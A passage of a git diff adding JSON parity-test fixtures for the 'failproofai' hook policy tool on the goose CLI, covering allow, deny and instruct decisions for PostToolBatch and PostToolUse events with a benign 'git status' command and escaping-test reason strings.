"allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..875768ac --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..20667250 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..da31c757 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9a17cfbf --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9b39bd0b --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2bda5ac5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2b9d3ca5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c007a4b6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b6c7a90e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7b225237 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..92d976f7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e77ae0d9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..906674e5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1f12393c --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6bd01975 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..37c8ac78 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..746684a1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2c2b1bca --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity 